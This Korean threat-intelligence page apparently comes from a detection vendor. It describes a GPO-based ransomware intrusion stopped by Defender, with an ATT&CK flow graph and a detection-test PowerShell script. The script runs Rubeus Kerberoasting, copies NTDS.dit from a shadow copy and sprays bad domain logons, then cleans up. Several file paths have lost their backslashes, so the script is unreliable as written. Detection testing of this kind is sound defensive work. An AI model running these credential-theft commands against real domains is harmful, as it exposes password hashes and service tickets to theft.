SOC Prime Bias: 높음

27 3월 2026 16:45

사례 연구: Defender의 예측 차단 기능이 GPO 기반 랜섬웨어를 실행 전에 막은 방법

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
사례 연구: Defender의 예측 차단 기능이 GPO 기반 랜섬웨어를 실행 전에 막은 방법
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Microsoft Defender는 보안 설정을 약화시키고 예약 작업을 통해 랜섬웨어를 배포하기 위해 사용된 그룹 정책 개체(GPO)의 남용을 탐지하여 대형 교육 기관을 표적으로 한 인간 운영 랜섬웨어 공격을 중단했습니다.

조사

공격자는 도메인 관리자 계정을 탈취하고, Active Directory를 열거하고, 자격 증명을 브루트포싱하며, Kerberos 티켓과 NTDS 데이터를 수집하고, 악성 지역 계정을 생성하며, 조작 정책을 시행하고 예약 작업을 통해 랜섬웨어 전달을 유발하는 악성 GPO를 배포했습니다.

완화

Defender의 예측 차단 기능이 악성 GPO 활동을 식별하고, 임시 GPO 강화를 시행하며, 예약 작업 랜섬웨어 배포를 차단하고, 97%의 장치에서 암호화를 방지했습니다.

대응

탐지되면, 방어자는 즉시 GPO 강화를 활성화하고, 손상된 계정을 격리하며, 의심스러운 SMB 트래픽을 차단하고, 비인가된 로컬 계정 생성 등 추가 지속성 방법을 조사해야 합니다.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef builtin fill:#cccccc %% Reconnaissance Nodes recon_action["<b>Action</b> – Reconnaissance<br/>AD Explorer를 사용하여 Active Directory를 열거하고 비밀번호 추측을 수행했습니다."] class recon_action action recon_brute["<b>Technique</b> – T1110 Brute Force: Password Guessing<br/><b>Description</b> 시도와 오류를 통해 비밀번호를 추측하려고 시도합니다."] class recon_brute technique recon_account["<b>Technique</b> – T1087.002 Account Discovery: Domain Account<br/><b>Description</b> 도메인 사용자 계정을 열거합니다."] class recon_account technique recon_gpo["<b>Technique</b> – T1615 Group Policy Discovery<br/><b>Description</b> 도메인 컨트롤러에서 그룹 정책 설정을 검색합니다."] class recon_gpo technique %% Reconnaissance Connections recon_action –>|uses| recon_brute recon_action –>|discovers| recon_account recon_action –>|discovers| recon_gpo %% Credential Access Nodes action_cred["<b>Action</b> – Credential Access<br/>Kerberoasting을 수행하고 NTDS.dit을 덤프했습니다."] class action_cred action tech_kerb["<b>Technique</b> – T1558.003 Kerberoasting<br/><b>Description</b> 서비스 티켓을 요청하고 오프라인으로 크랙합니다."] class tech_kerb technique tech_ntds["<b>Technique</b> – T1003.003 OS Credential Dumping: NTDS<br/><b>Description</b> Active Directory 데이터베이스에서 비밀번호 해시를 추출합니다."] class tech_ntds technique %% Credential Access Connections action_cred –>|uses| tech_kerb action_cred –>|uses| tech_ntds %% Persistence Nodes action_persist["<b>Action</b> – Persistence<br/>손상된 호스트에 새 로컬 계정을 생성했습니다."] class action_persist action tech_create_local["<b>Technique</b> – T1136.001 Create Account: Local Account<br/><b>Description</b> 지속적인 접근을 위해 로컬 사용자 계정을 추가합니다."] class tech_create_local technique %% Persistence Connections action_persist –>|uses| tech_create_local %% Lateral Movement Nodes action_lateral["<b>Action</b> – Lateral Movement<br/>도메인 자격 증명을 도용하여 SMB를 통해 원격 관리자 공유에 액세스했습니다."] class action_lateral action tech_smb["<b>Technique</b> – T1021.002 Remote Services SMB/Windows Admin Shares<br/><b>Description</b> Lateral 이동을 위해 SMB 공유를 이용합니다."] class tech_smb technique %% Lateral Movement Connections action_lateral –>|uses| tech_smb %% Defense Evasion Nodes action_evasion["<b>Action</b> – Defense Evasion<br/>Microsoft Defender를 비활성화하기 위해 악성 GPO를 배포했습니다."] class action_evasion action tech_gpo_mod["<b>Technique</b> – T1484 Domain or Tenant Policy Modification<br/><b>Description</b> 보안 설정을 변경하기 위해 그룹 정책 개체를 수정합니다."] class tech_gpo_mod technique tech_impair["<b>Technique</b> – T1562.001 Impair Defenses Disable or Modify Tools<br/><b>Description</b> 보안 도구를 비활성화하거나 수정합니다."] class tech_impair technique %% Defense Evasion Connections action_evasion –>|modifies| tech_gpo_mod action_evasion –>|disables| tech_impair %% Impact Preparation Nodes action_impact["<b>Action</b> – Impact Preparation<br/>모든 도메인 기계에 파일을 복사하고 실행하기 위해 GPO를 통해 예약 작업을 생성했습니다."] class action_impact action tech_scheduled["<b>Technique</b> – T1053 Scheduled Task/Job<br/><b>Description</b> 명령을 정의된 시간에 실행하도록 예약합니다."] class tech_scheduled technique tech_cmd["<b>Technique</b> – T1059.003 Command and Scripting Interpreter Windows Command Shell<br/><b>Description</b> cmd.exe를 사용하여 배치 파일을 실행합니다."] class tech_cmd technique tech_rundll["<b>Technique</b> – T1218.011 System Binary Proxy Execution Rundll32<br/><b>Description</b> rundll32.exe를 통해 악성 DLL을 로드합니다."] class tech_rundll technique %% Impact Preparation Connections action_impact –>|creates| tech_scheduled action_impact –>|executes| tech_cmd action_impact –>|uses| tech_rundll %% Ransomware Deployment Nodes action_ransom["<b>Action</b> – Ransomware Deployment<br/>페이로드가 파일을 암호화하려고 시도합니다; Defender는 여러 장치에서 GPO 전파를 차단했습니다."] class action_ransom action tech_encrypt["<b>Technique</b> – T1486 데이터 암호화로 인한 영향 <br/><b>Description</b> 피해자의 데이터를 암호화하여 몸값을 요구합니다."] class tech_encrypt technique %% Ransomware Deployment Connections action_ransom –>|uses| tech_encrypt %% 전체 플로우 시퀀스 recon_action –>|leads_to| action_cred action_cred –>|leads_to| action_persist action_persist –>|leads_to| action_lateral action_lateral –>|leads_to| action_evasion action_evasion –>|leads_to| action_impact action_impact –>|leads_to| action_ransom "

공격 플로우

시뮬레이션 실행

사전조건: 원격 감시 및 기준선 사전 비행 검사가 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 유발하기 위해 설계된 적대자 기법(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 설명은 식별된 TTP를 직접 반영해야 하며, 탐지 논리에서 예상되는 정확한 원격 감시를 생성하는 것을 목표로 합니다.

공격 서술 및 명령

  1. ADExplorer를 사용한 Active Directory 열거 – 공격자는 살아있는 방식 유틸리티를 사용합니다 ADExplorer.exe AD 데이터베이스를 탐색하여 프로세스 생성 이벤트를 생성합니다. 이미지|endswith: 'ADExplorer.exe'.

  2. 자격 증명 강제 도구(T1110) – 공격자는 도메인 계정에 대해 비밀번호 스프레이를 수행하고, 실패한 로그온(Event 4625)이 반복되며 실패 이유가 발생합니다. %#13 (“사용자가 신뢰할 수 없는 도메인에서 로그온하려고 시도했습니다.”).

  3. Kerberoasting (T1558.003) – 오픈 소스 도구를 사용하여 Rubeus, 공격자는 컴퓨터 계정 SPNs(e.g., HOST01$)에 대해 Kerberos 서비스 티켓을 요청합니다. 각 요청은 Event 4769을 생성하며 ServiceName 끝이 $.

  4. NTDS 덤프(T1003.003) – 공격자는 시스템 드라이브의 볼륨 섀도우 복사본을 생성하고 추출합니다. NTDS.dit 를 사용하여 ntdsutil, Event 4662를 일으켜 ObjectType = "ds" and OperationType = "복제".

네 가지 모든 작업은 현실적인 사후 손해 복구 “수확” 단계를 모방하기 위해 5분 이내에 같은 호스트에서 실행됩니다.

회귀 테스트 스크립트

# -------------------------------------------------
# 시뮬레이션 스크립트 – 네 가지 탐지 경로를 모두 트리거
# -------------------------------------------------

# 1. ADExplorer 실행 (프로세스 생성)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
    Write-Host "ADExplorer를 찾을 수 없습니다 – 테스트용 다운로드 자리 표시자."
    # 예상 이름에 exe를 복사하여 시뮬레이션
    Copy-Item "$env:SystemRootSystem32notepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5

# 2. 강제 로그인 시도 (4625 및 %#13)
$domain = "CONTOSO"
$user   = "testuser"
$badPwd = "IncorrectPassword123!"
1..3 | ForEach-Object {
    $null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
    Start-Sleep -Milliseconds 500
}

# 3. Rubeus를 통한 Kerberoasting (PATH에 Rubeus.exe 필요)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
    Write-Host "Rubeus를 찾을 수 없음 – Kerberoasting 단계 건너뛰기."
} else {
    & $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5

# 4. VSS를 사용하여 NTDS.dit 추출 (4662 복제)
# VSS 섀도우 복사본 생성 및 NTDS.dit 복사
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest   = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
    Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5

Write-Host "시뮬레이션 완료. 모든 원격 감시가 수집되어야 합니다."

정리 명령

# -------------------------------------------------
# 정리 – 시뮬레이션에 의해 생성된 아티팩트를 제거
# -------------------------------------------------

# 가짜 ADExplorer가 생성된 경우 제거
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue

# Kerberos 덤프 삭제
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue

# NTDS 덤프 삭제
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue

# 생성된 섀도우 복사본 제거 (관리자 권한 필요)
# vssadmin delete shadows /all /quiet

Write-Host "정리 완료."